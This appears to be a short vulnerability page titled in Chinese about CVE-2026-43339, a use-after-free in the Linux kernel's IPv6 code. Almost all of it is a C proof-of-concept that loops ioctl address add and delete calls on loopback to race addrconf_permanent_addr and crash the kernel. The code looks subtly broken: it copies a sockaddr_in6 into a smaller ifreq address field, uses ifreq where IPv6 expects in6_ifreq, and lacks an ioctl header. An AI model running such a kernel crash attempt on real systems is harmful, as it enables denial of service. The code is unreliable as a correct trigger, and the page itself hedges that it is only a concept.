CVE-2026-43339 Linux内核IPv6模块释放后重用漏洞

// CVE-2026-43339 PoC Concept // This PoC demonstrates the context of the vulnerability in Linux Kernel IPv6 handling. // Note: Triggering the specific UaF requires exact kernel version and race condition timing. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if.h> #include <netinet/in.h> #include <arpa/inet.h> #define IPV6_ADDR_GEN_MODE 0 int main() { int sock; struct ifreq ifr; struct sockaddr_in6 addr; // Create a socket for IPv6 communication sock = socket(AF_INET6, SOCK_DGRAM, 0); if (sock < 0) { perror("socket"); return 1; } // Setup interface name (e.g., eth0) strcpy(ifr.ifr_name, "lo"); // Using loopback for safety // Attempt to trigger addrconf_permanent_addr logic // by manipulating IPv6 addresses rapidly to induce the race condition. memset(&addr, 0, sizeof(addr)); addr.sin6_family = AF_INET6; inet_pton(AF_INET6, "::1", &addr.sin6_addr); memcpy(&ifr.ifr_addr, &addr, sizeof(addr)); // Loop to stress the address configuration path for(int i = 0; i < 1000; i++) { ioctl(sock, SIOCSIFADDR, &ifr); ioctl(sock, SIOCDIFADDR, &ifr); } close(sock); printf("PoC execution finished. Check kernel logs for crashes.\n"); return 0; }